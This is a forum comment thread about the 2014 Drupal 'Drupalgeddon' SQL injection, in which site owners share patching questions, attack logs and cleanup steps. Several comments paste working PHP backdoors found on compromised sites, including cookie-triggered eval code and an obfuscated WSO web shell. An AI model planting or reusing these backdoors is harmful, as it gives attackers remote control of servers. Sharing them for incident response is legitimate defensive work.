FAQ on SA-CORE-2014-005

I'm new to patching. Where in the database.inc file to I apply the code? At the end, or is there a specific place a patch must be placed?
Thanks for any help you can give me.
Bill C.

It is highly advisable to revert databases to backups after patching. It is possible to create data within the database which would remain active, in addition those using Linux are more susceptible to content uploads.

Noob here. I've downloaded Drupal 7.32 and did a search for database.inc but I see 4 different files in different locations with that name. Which one should I replace?

So, while manually patching our sites for this (as a quick solution before we do full Drupal updates later), we found one site which apparently had *already* been patched. This was highly suspicious, especially since the file mod date was listed as approximately 9 hours ago (at UTC Oct 16 09:37:52) when nobody was using the system and no login is registered for it, so we've been investigating.

The only thing we've found so far is another file which was apparently created at the same exact time as the update (actually, exactly one second before):

	modules/toolbar/pfmm.php

…which doesn't actually exist in the toolbar module (or anywhere else I can find). The file was owned by www-data:www-data, which makes it stick out like a sore thumb for us - our usual Drupal builds result in a different file owner. The contents of this new file look like an attempt to use some kind of exploit:

	<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();

I'm not sure what that does, but it looks like some kind of attempt to exploit other PHP security holes. There is no evidence of anyone changing anything else in the database, which is kind of odd - no user changes, no content changes, no theme or module changes, but it's impossible to say for certain that we've covered all the possibilities. As near as I can tell, no other files were modified or created at that timeframe.

My initial educated guess is someone figured out a variation of this exploit which allows them to create a new file within the Drupal folder hierarchy that would later be used to try to hack the system. They then cover their tracks by patching the original hole and because they didn't make any obvious changes, the exploit file remains in place until they're ready to use it later. If you were patching Drupal through any other mechanism, you'd never even notice it. I thought I should probably post about it just in case other people might be affected by this.

We upgraded as soon as we got the SA notice yesterday. Today I'm starting to see attacks from Russian IP addresses that look like:

Oct 17 12:09:45 drupal: 1413500985|62.76.191.119|0|php|http://www.xxxx.com/user||Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 478 of /home/www/production/_drupal7/core/includes/unicode.inc).
Oct 17 12:09:45 drupal: 1413500985|62.76.191.119|0|php|http://www.xxxx.com/user||Warning: addcslashes() expects parameter 1 to be string, array given in DatabaseConnection->escapeLike() (line 984 of /home/www/production/_drupal7/core/includes/database/database.inc).
Oct 17 12:09:45 drupal: 1413500985|62.76.191.119|0|php|http://www.xxxx.com/user||PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array#012(#012    [:name_0] => bob#012    [:name_1] => larry#012)#012 in user_login_authenticate_validate() (line 2149 of /home/www/production/_drupal7/core/modules/user/user.module).
Oct 17 12:09:46 drupal: 1413500986|62.76.191.119|0|page not found|http://www.xxxx.com/aynlhe||aynlhe
Oct 17 12:09:49 drupal: 1413500989|62.76.191.119|0|page not found|http://www.xxxx.com/modules/filter/psjo.php||modules/filter/psjo.php

The directory and filename where they try to write a php file varies. I'm collecting a few more then I'll be writing a fail2ban rule to block the IPs at the firewall.

For anyone using GIT, I've found two of my sites were compromised, and this is the process I used to determine what to clear out.

1) First I overwrote my local Drupal installation with Drupal 7.32, and committed all the changes.
2) Next I pushed to my central repository
3) I SSHed into my webroot, and pulled the new code
4) I got the following error:

error: Your local changes to the following files would be overwritten by merge:
includes/database/database.inc

5) I checked out the former version of database.inc using: git checkout includes/database/database.inc
6) I pulled my code again, no problem
7) I ran git status to look for any files that should not be there
8) In the 'untracked files' section, I found modules/system/amep.php (note - the location and name of this file appear to be random, as the other exploited system I found had a different filename in a different location). Opening it up, it had a bunch of code regarding cookies. As it definitely didn't come from GIT, I knew it was something someone had injected into my system. I deleted the file.

The above completes the files portion. Next is the database:
1) I went to the menu_router table of my database, and searched for an entry where the 'access callback' was equal to 'file_put_contents'.
2) I deleted the resulting row.
3) I took a fresh, clean backup, and deleted any backups that had been taken since database.inc had been changed, to ensure I didn't have any backups that contained this bad menu item.

I'm assuming javascript cache files are not a risk to anyone, but don't want to leave that assumption untested.

I'm using the following to find files that had been changed in the last 4 days:

$ find -ctime -4

It of course lists a lot of cache files (js and css). Anyone know more about whether these can pose a risk either to the server or to the browser that downloads them?

So after updating most of my client's Drupal installs I decided to see which sites actually got hit before I was able to apply the core updates. It seems that out of all the sites two got hit but some interesting log messages appeared and after doing a throughout audit of the server it appears that attempts failed even with the vulnerable drupal installs.

A little info on my servers,.. They are all running Gentoo Linux with the hardened profile which is highly customized with many grsecurity features, plus all drupal roots are setup to have directories as "rwxr-x---" and files as "rw-r-----" with owner being the shell user and group being the httpd group, this prevents the httpd server from writing any files outside of sites/default/files directories which are set to "rwxrwx---" and files inside those directories to "rw-rw----" thus preventing the exploits from actually writing at random locations inside modules directories as you see on various examples.

This is an example of the file that got inserted into the menu_router table access_callback column.

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

As you can see it's trying to create the file modules/image/vzoh.php but since I have only read permissions inside those directories php fails with.

Warning: file_put_contents(modules/image/vzoh.php): failed to open stream: Permission denied in _menu_check_access() (line 628 of includes/menu.inc).

After finding this report in admin/reports I when ahead and banned this user ip from all my servers. This same pattern happened to the other site and it seems the script kiddie tried to do this twice on both sites.

In the end it's good practice to have proper permissions for your drupal sites, it also helps to run paranoid servers like mine ;)

One more thing,... those that want to see which databases have the "file_put_contents" can run this below SQL command I put together to quickly see what databases are suspects.

SELECT CONCAT('USE ', 
    schema_name, ' ;SELECT * FROM \`menu_router\` WHERE \`access_callback\` = \'file_put_contents\' ORDER BY \`menu_router\`.\`access_callback\` ASC LIMIT 0 , 30;')
FROM information_schema.schemata
WHERE schema_name NOT IN ('information_schema','mysql','performance_schema','test');

The above query will render a list of individual queries that you can either copy/pasta one at a time or at the same time, just keep in mind that you will have to edit the "NOT IN" with whatever databases you have that are not drupal specific so that your query is valid when copying/pasta.

Happy patching!

"We have only two modes - complacency and panic." — James R. Schlesinger, the first U.S. Dept. of Energy secretary, in 1977, on the country's approach to energy.

I had some drupal installs with a new user "drupaldev" and a new role "megauser". The role had no permissions. The menu_router table was clean. I think the best is to import an database backup.

Updating or applying the patch might not be enough. We have seen couple of different exploits that happened within first few hours since the D7.32 was released.
Some include malicious entry in menu_router table, some include newly created users with admin roles, and some include admin email changed. If you can't roll a backup of the site then you might need to do a full site audit to make sure your site and server doesn't contain TROJAN which can be activated even if you patched the site.

So why is it at the post's categories?

Hello there,

Just to say that I realized something was wrong in Drupal when I connected to my website to remove spam:
I saw a user named forouq was there and had assigned to himself the role of my main user (not quite admin role though). The forouq user page didn't show an email or any detail. I removed this user before having a look at the database, which was silly of course.

I don't allow users to register themselves.

Unfortunately I disabled detailed reports for lack of space on my share of the server, so I can't give any details.

However, I'm going to enable reports again now that I've installed Aggregator Item Length that stops most database overbloat.

hi today i noticed a new user by name of drupaldev in admin panel inside people section? guys who made it and what does it do? also this user has been assigned new roles megauser.. please guide.. should i delete both user and roles and how they are made?

Re above:
"My site has already been patched
We've seen many reports where people found that their site had already been patched even though nobody in charge of the site updated the site. This means that the site was compromised..."

Not so fast. We noted /includes/database/database.inc was "fixed" on the 17th and then based on the above we checked all the files and database and did not find anything amiss.

Found out today that our ISP proactively fixed the file, without telling us. So false alert. But also ten hours of our time wasted.

That may have happened to others.... So check with your ISP.. they may have done the same... IF so they really need to tell folks when they do such modifications...

And someone please explain why a hacker would "fix" the file afterwards. Makes no sense to me. Have folks seen this before? He or she should have left it as it was.

I received the email from Drupal warning about the security update on Saturday 18th at 4 pm CT. I was out camping and was able to read mail until Monday, and immediately patched. But by then, my site had already been compromised (that was done on Oct 17th 5 am CT).

Consequences were the same seen here (the drupaldev user and megauser role, as well as changing user/password of uid = 1). I already cleaned that up and nothing major happenned (hopefully).

Anyway, all this to state the following request: Please send faster the emails warning about security updates.

Kudos to Bevan Rudge: http://drupal.geek.nz/blog/your-drupal-websites-backdoor

I can not vouch for this post entirely, but does a nice job of echoing my approach to addressing this hole, in particular going forward (on existing sites, of course)

If your Drupal 7 (and 8) website was not updated within a few hours of the announcement it may be compromised. If it was not updated within a few days, it is most probably compromised. Updating or patching Drupal does not fix backdoors that attackers installed before updating or patching Drupal.

See Greg Knaddison's "Your Drupal site got hacked. Now what?" and my own workflow chart.

Here's something that I haven't seen in any of the flow charts that I had a question on.

Let's assume that the site was compromised and we brought it back to a pre-October 15th backup.

• Since versions of this exploit were placing files with PHP access, should I assume the MySQL Password was compromised?
• Since the exploit could place these PHP files and inject into the database whatever they desired, I was also concerned that the users table hashed passwords were revealed?
• Because of this, why don't I see every Drupal SA post on the internet advising all site users to change their passwords? I am not a Developer, but isn't it possible to spoof cookies with hashed passwords or something?

Thank you,

Matthew

Has anyone else seen any other method of deploying files other than the 'file_put_contents' callback in the 'menu_router' table?
I can't find any 'file_put_contents' callbacks in my databases. Maybe they were deleted after the attacker installed their malicious payload?

This piece of php was found from the beginning of "template.php" -file in the Drupal custom theme folder. Theme was enabled and default.

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n13e558'];if(isset($s22)){eval($s21($s22));}

Also noticed that all of the sites which were updated to 7.32 on 15.10. are not infected. Luckily did this for the most important sites.

What is the easiest way to scan a site for this, if restore from database backup is not an option ?

If your Drupal 7 (and 8) website was not updated within a few hours of the announcement it may be compromised. If it was not updated within a few days, it is most probably compromised. Updating or patching Drupal does not fix backdoors that attackers installed before updating or patching Drupal.

See Greg Knaddison's "Your Drupal site got hacked. Now what?" and my own workflow chart.

Results of user logs on one of our slower sites spanning across those dates.

user 10/29/2014 - 2:11pm Session opened for admin. admin
user 10/27/2014 - 4:25pm Login attempt failed for evex. Anonymous
user 10/18/2014 - 12:32pm Login attempt failed for drupaldev. Anonymous
user 10/17/2014 - 2:10pm Session closed for admin. admin - all sites updated by this date/time
user 10/17/2014 - 2:01pm Session opened for admin. admin
user 09/24/2014 - 11:21am Session opened for admin. admin

other logs of interest

page not found 10/27/2014 - 7:01am route_handle_req Anonymous
page not found 10/21/2014 - 9:59pm admin.php Anonymous
page not found 10/21/2014 - 9:59pm wp-login.php Anonymous
page not found 10/21/2014 - 1:03pm crossdomain.xml Anonymous

Would a service like Sucuri.net or similar malware/server/site scanning online software detect these backdoors?

I would guess that checking differences between original modules and core code and the one on the server would help find out if site was hacked with some code?
So this module could help
https://www.drupal.org/project/hacked

The only downside is that it doesnt check if some files were added that are not in original code repository, which would be great as then you would also know if something is added or not.

I really think this security vulnerability should feature more prominently on the drupal.org homepage.

One of my sites was compromised.

Found this in /sites/default/files/ctools/syscore.php

if(isset($_REQUEST['module_require_check'])) {
    @ini_set('error_log', NULL);
    @ini_set('log_errors',0);
    @ini_set('max_execution_time',0);
    @set_time_limit(0);
    @set_magic_quotes_runtime(0);

    if(isset($_REQUEST['pi']) && md5($_REQUEST['pi']) == '5de1f8d51005652b28d7f23a8111d5e1') {
        if(@get_magic_quotes_gpc() && isset($_REQUEST['pe'])) {
            $_REQUEST['pe'] = stripslashes($_REQUEST['pe']);
        }   
        $report = urldecode('%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e');
        $report = $report('', $_REQUEST['pe']);
        $report();
        exit;
    }   
    else die('Wrong PI');
}

Roles created:
megauser

Three users created with megauser or administrator role:
drupaldev, system, condia

Three rows in the menu_router table with the access_callback file_put_contents.

Edit:
Also found this in /sites/default/files/ctools

<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
<IfModule mod_php5.c>
  php_flag engine on
</IfModule>

I found some strange entries in the drupal log messages, but shouldn't we see any suspicious entries in the server log files? I just see the corresponding entries like in the watchdog:

WD:
page not found 16.10.2014 - 12:28 modules/comment/flur.php Anonymous
page not found 16.10.2014 - 12:28 twusca Anonymous
User 16.10.2014 - 12:28 Login attempt failed for. Anonymous

Server log files:
62.76.191.119 - - [16/Oct/2014:12:28:25 +0200] "POST /?q=node&destination=node HTTP/1.1" 200 9091 "-"
62.76.191.119 - - [16/Oct/2014:12:28:25 +0200] "POST /user HTTP/1.1" 200 10594 "-"
62.76.191.119 - - [16/Oct/2014:12:28:26 +0200] "GET /?q=twusca HTTP/1.1" 301 0 "-"
62.76.191.119 - - [16/Oct/2014:12:28:26 +0200] "GET /de/twusca HTTP/1.1" 404 8103 "-"
62.76.191.119 - - [16/Oct/2014:12:28:27 +0200] "GET /twusca HTTP/1.1" 301 0 "-"
62.76.191.119 - - [16/Oct/2014:12:28:27 +0200] "GET /de/twusca HTTP/1.1" 404 8103 "-"
62.76.191.119 - - [16/Oct/2014:12:28:27 +0200] "GET /modules/comment/flur.php HTTP/1.1" 301 0 "-"
62.76.191.119 - - [16/Oct/2014:12:28:28 +0200] "GET /de/modules/comment/flur.php HTTP/1.1" 404 8209 "-"

Find user system2383 (/user/9999339) created 44 years ago.
At now no new roles created or new files found.

The site was updated to 7.32 6 days ago.

This might at least help find malicious code that could have been injected in module files. Does a cool side-by-side diff and exports to a file so you can easily move through the file and see any differences.

In this case 'drupal' is just a git clone --branch 7.x http://git.drupal.org/project/drupal.git and a git checkout 7.32 and 'pre-update' is my old drupal install that I want to check for malicious code.

In this case the "drupal" directory will be on the left. Just switch them around to see the other directory on the left. I chose to do it this way because I wanted to see everything for the the "good" code and see just lines that were different in what I had before the update.

diff -r -y --left-column drupal pre-update > dirdiff.txt

This does a recursive (-r) diff and places the results side-by-side (-y) in a file. The (--left-column) makes it easier to spot the diff.

On mac you can just hold down fn + (down arrow)

You should see at least this:
http://grab.by/BKHG

This is the diff for the patch here: https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch

Something else you can do for any code you may have been version controlling (we all version control our custom code, right?):

I looked back through my git branches, as I tend to keep them for quite sometime, and I found a branch that I had labeled updates-10-13-14 so I know that these are any updates I may have pushed on the 13th of October. This is two days before the 'catastrophe' so this code shouldn't be affected. I'm working with the Panopoly distro as my base install so all of my custom code exists in sites/all and that's what I push to GitHub. In the sites directory I placed a directory called: old_all. So here is what I did:

From your sites directory:

mkdir old_all
cd old_all
git init
git remote add origin git@github.com:scottalan/[NAME_OF_REPO].git
git fetch origin
git checkout origin/updates-10-13-14

Now I have my PRE 'possible hack' code in old_all and where ever I am now in the original all directory. Now it's just a matter of running the diff command.

diff -r -y --left-column old_all all > all-diff.txt

Now I can see a side by side diff of the changes. Of course you will see things that you recognize changing but keep an eye out for anything that doesn't seem quite right.

Good Luck!

This page indicates that D6 is not vulnerable. But http://drupal.geek.nz/blog/your-drupal-websites-backdoor indicates that it is, IF the DBTNG module is being used.

To verify, I see that the DBTNG module has a new version as of 10/16, and the notes for this latest release states "Patching for SA-CORE-2014-005 - Drupal core - SQL injection."

So I think the statement at the top of the page may give many D6 site owners an incorrect impression of the security of their sites.

Quoting David_Rothstein from a week ago:

The emails that are sent via Update Status (inside your site) can be configured at admin/reports/updates/settings (it sounds like yours were set to send weekly, but you can change it to daily).

Meanwhile, instructions for subscribing to the security list are at the top right of https://www.drupal.org/security, and in that case the email was sent out directly from drupal.org within minutes after the security release was made

Would it be wise to show a message upon installing core inviting people to subscribe to the security list? A message that will stay unless you click it away, or click on the subscribe link?

I have a site which is running using Drupal 7.31. Please suggest if I can update core by referring from updating other contributed modules.

I'm wondering if PostgreSQL might be immune to the exploit or if the attacks were just targeted with MySQL syntax. I had one site that was not patched in a timely manner (my own, of course) running an old PostgreSQL version (8.3.14). Attempts to insert users (megauser, drupaladmin) failed with database errors. Selects against the user table also failed.

Of course, this does not prove there were no successful exploit queries. But so far I can't find any evidence anything was compromised even though I know the site was attacked before it was patched.

i have a question

i found a file_put_contents entry in the menu router table, and it was almost empty. it had only this value: jsvxyp

i couldnt find any file with that name (after i downloaded a full copy of the website).
i navigated to that url /jsvxyp and it gave me a blank white screen. after i deleted it on the database, it just gave me an page not found error.

any ideas, suggestions?

Hi,

Please forgive my beginners comment. I am just a basic drupal user and use it on a few of my small sites.

I found out today about this latest hack and yes, one of my little sites has been hacked since 17th October 2014.

This may be a silly comment, but how do the hackers find my site and know it is a drupal site that can be hacked into?

Surely there must be a way to stop a hacker even finding out it is built with drupal?

How do they get into the site initially to do damage?

Thanks.
Steady

I patched my site to 7.32 and removed the directory that turned my site into a SPAM bot, but today, I saw several other PHP files in various, sometimes new, directories.

For example, in the file module, there is now a file hmnz.php.

 $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();

In the "locale" module, there is now a 4raf9b.php file:

<?php ${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;

(others....)

===========

I've now removed my entire Drupal site and will re-install from a pre October 15 backup, apply 7.32, and spend the requisite hours trying to get my site back to where it was.

Sigh...

Being a but an amateur, I find it hard to get a hold of the signs whether my Drupal site may be hacked.
I did perform the update on 16/10. Maybe in time, maybe too late.
Following the discussion above, I was not able to find any of the mentioned additional files and my database.inc seems original.
I did find however that on one Drupal system the user Administrator is marked as 'registered 44 years and 10 months ago'.
Obviously this is not the timespan that this system is active.
On my other system the user Administrator is registered some 3 years ago, which is more likely.
Other than a hack, are there any other possible causes that could have marked user0 with this 44-something registration date?

I myself am a mere layman in terms of drupal, but a number of our clients use drupal for serious sites and one for one, they are very disappointed with how these hacks have played out.

Apparently this vulnerability was "discovered" back in September and it took until mid October for some kind of announcement.

Many smaller businesses don't have full time IT or web teams. The first time one heard of this was on the BBC website a few days ago.

Ok, for sure, that isn't drupal's fault, but it does highlight the problem.

It has seriously caused people I know to consider fully moving away from drupal.

I also fear this recent attack and its widespread nature will seriously affect the uptake of drupal.

For some reason it seems that fiorms such as Acquia got a head start and new about this beforehand.

It leaves me to think that the only way one can have a chance in running a drupal site at least safe to a greater degree than normal is paying folks such as acquia big money......Mmmmm.

Again, I know nothing of SQL and next to nothing of PHP myself, but I would have thought there was a way to better protect drupal from these kind of attacks.

Are you telling me that these bots spidered the whole of the internet and found every single drupal site out there?

I was aalso rather shocked to find that there is a website that you can enter a domain name into that will literally tell you all of the active modules on a drupal site.

This is crazy beyond belief.

What are some simple basic things drupal site owners can do to minimise these attacks, apart from keeping things patched and doing regular backups.

(For most, even installing the latest 7.32 within 24 hours of release was not quick enough!!!)

If this comes across as a criticism, well it is. But hopefully it is constructive, because it is meant to be.

Thanks
Steady

1) I have a D6 site. Bevan Rudge's flowchart says D6 is only at risk if you have the DBTNG module installed. I had it installed, but it was disabled. I have now deleted it rather than update it. Is that site likely to have been at risk?

2) One of my D7 sites sits on a server with scores of other files and folders, most of them unrelated to Drupal (e.g. static html pages, image files etc). Do I need to delete all of the non-Drupal files and folders from that server and reupload those too, or is it only the Drupal files I need to worry about?

Has anyone got evidence the 4 character long .php files (WSO Web Shell) in the core modules being used to modify other files/database at all? I.e. anything in particular to look for other than simply clearing up these files.

Obviously not as good as restoring a backup, but would be useful to know. For example, is the presence of the drupaldev admin account a result of this, or an unrelated automated attack.

I haven't found much discussion about entry points. Meaning, where all has initial malicious code been injected to create the backdoors? Comment fields? Contact forms? Nodes?

Leading to the question: Are sites that do not allow user content creation of any kind (comments, nodes, images, etc.), even account creation, or a contact form less vulnerable to the security issue? Or, is it being injected via URL?

I did a full update of my Drupal 7 sites within 3 hours of the October 15th -- seeing the SA in email and a tweet. Also have reviewed all folders for errant files, looked at the db (e.g., menu_router, users, system), and reviewed UI log files. I do have backups prior that I can rollback to also. [HostGator had a big meltdown a few days ago on a reseller server. Wondering if it is coincidence or if this security breach could have been a factor.]

I have found these entries in my Drupal logs, for what it is worth to anyone else (screenshots):

https://www.drupal.org/node/2362315#comment-9304267 *

* my bad -- inadvertently posted in wrong thread.

Where is the basic data on best practices for securing drupal sites?

How do these bots find drupal sites in the first place so quickly?

Is it true that any unpatched drupal site can be hacked?

How do these hackers get into the site etc?

Is it via login forms or other forms of some kind?

For example, what is the path to the login page is changed?

Do simple things like this avoid bots from hacking a site in the first place or at least reduce the chances?

Or do we just move forward with drupal on the basis that every now again a sh*t storm will occur and you will lose everything, so be prepared with backups and many hours of work rebuilding a drupal site in the future?

The lack of answers overall is rather disconcerting....

Hi,

Does anybody have a list of the requests that have been used by the attackers ?

I have seen "?q=node&destination=node" then following by "/user" but is it possible there been others ?

It would be a huge help to know what to search in the access logs !

Thanks,
Hugo.

I plan to reinstall D7 and restore all the sites from a backup taken before October 15. The FAQ says D6 is unaffected. Would it safe to let the D6 remain in its current state? The directories are setup as /var/www/d6 and /var/www/d7. Also can one be absolutely sure that the vulnerability would not have affected anything outside the D7 directory and sub-directories?

And finally, should users be asked to change their passwords?

Many thanks!

This seems to me to today's attack failed:
The log page containing the attack opens with error: "Warning: htmlspecialchars() expects parameter 1 to be string, array given in check_plain() (line 1573 of /home/userxxxx/public_html/includes/bootstrap.inc)".

I note, by the same anonymous user, in sequence, from last line; the details of the rows, starting from last line.

1) execute php to take the role of the user 1
2) run php to assign the variable to its username
3) try logging in (the username is unfortunately empty); if he could perhaps have added a superuser
4) Not Found; did not find the super user in the user table or user_roles

Immagine Log
Dettaglio 1
Dettaglio 2
Dettaglio 3
Dettaglio 4

Hello Guys,
Few days back, i came to know about this attacks and straight away i checked my public website and found out that my database.ini file was already patched but i haven't done that neither my web hosting provide patched my files. So, i shutdown my website and removed all the files from server while, scanning those files i found out few extra file into my core module and theme folders.

My main concern is regarding the uploaded files on my website. My website is a Document management system and all user upload their documents on it. So, i just want to know whether is their any possibility of accessing or downloading those documents by attacker?
If yes, is their any way to confirm this?

I haven't found any extra files into my document folder and also haven't found any new user created in users table.

Thanks in advance.

This is probably a coincidence, but just in case anyone else sees this.... It took several days to get physical access to a client's in-house (Debian) server, which was built with every security precaution that I could find recommended at the time. Suhosin had been logging rejected SQL injection attacks that looked just like our girls, but I saw no other signs of intrusion. The site is owned by a different account than the web server, which only has write permissions in the /files directories, the site owner is merely a user on the system, etc.

After finding no evidence of a compromise, I made a change to the firewall and rebooted. Within minutes, the office went dark - Internet-wise. The office manager went through the usual drill, but rebooting the Comcast router and office routers didn't help. After thinking about it, I was concerned that the reboot had unleashed a spam bot and Comcast had shut us down in their firewall, so I unplugged the server from the network. This was Friday afternoon. A call to Comcast indicated that our account had been "closed", but no one could tell us why.

By Saturday afternoon, the phones also went down.

It took until Monday afternoon to get Comcast to restore services, and they still can't say what triggered the closing of the account. Any ideas?

Are there any database exploits other than file_put_contents entry in the menu router table and new odd users/roles?

What else should we be looking for in the database?

In light of the comments in here about Drupal 6 sites hosted on the same server as D7 sites being vulnerable, I think the FAQ should be updated, no?

Hi guys. As most of our Drupal sites are hosted with www.dreamhost.com I raised a query with them about the relative vulnerability and isolation of Dreamhost VPS accounts from this particular threat. I got a great forum reply stating that "Also we DID block the SQL injection attacks if you kept Extra Web Security on for your site" which we have and always do.

See here for the thread/reply: https://discussion.dreamhost.com/thread-144446-post-180468.html

My query is still if anyone knows the Dreamhost VPS architecture and can also vouch for this? - the 'Extra Web Security' feature is explained here: http://wiki.dreamhost.com/Mod_security. I.E. can we rely on the protection this affords (without dumping databases, deleting VPSs and arranging clean installs etc)?

I certainly can't see any sign of new spurious users, files or roles being generated on our commercial sites there - or would the advice be to stick on the side of caution and clear the lot with fresh installs here, etc (as above)?

Thanks in advance for any advice.

Q.

I recently inherited a site running Drupal 5.5 from 2007 (!!), and the MySQL accesslog table definitely indicates that it's being continuously hacked. Unfortunately, this is my introduction to administering a Drupal site, as I had only minimal experience with it before now.

Luckily, I had backed up the database (for the first time) on September 29th.

Unluckily, the site files had never been backed up. How screwed are we? None of the dates on the files indicate that they've been changed since the vulnerability was announced.

The flowchart is now up to version 8 9.

Anybody knows if there are ModSecurity rules available that can stop these kinds of attack? I was able to patch all my sites within an hour after the announcement, but if next time the hackers will be double as fast and the announcement will come at a less convenient time I will need something else to be safe in time.

!!Very important!!
I used drupal 7.31 for my blog and it never was vulnerable to CVE-2014-3704.
At first I think my blog has been compromised by hackers like you said in FAQ but I was wrong just like you!!!! [You will be vulnerable if you do not update.]
I have checked all of my files [files+ database] and I was found nothing! because this is about what template you used!
Set Fresh Theme on vulnerable site to understand what I said.
Result: "Not vulnerable" doesn't mean your blog has been compromised by hackers...
So please correct your post!

